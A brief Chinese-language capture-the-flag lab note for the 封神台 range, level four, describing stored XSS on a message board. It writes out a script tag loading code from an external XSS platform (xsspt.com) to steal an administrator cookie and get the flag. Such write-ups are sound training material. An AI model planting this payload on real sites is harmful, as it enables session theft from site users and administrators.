mbp 封神台靶场 四 （笔记）

打开链接，发现是个留言板，尝试xss注入,看看是否可行。 弹出1提示并发现字段变灰，说明注入成功，登录xss平台创建项目。 将此代码段植入刚才的区域中<script src=http://xsspt.com/2gVqle></script>然后查看项目内容发现flag 总结：本关主要是通过xss注入拿到管理员cookie的，见框就插是xss注入的常用手段，它主要通过用户输入当作html语句在页面上

>>阅读原文<<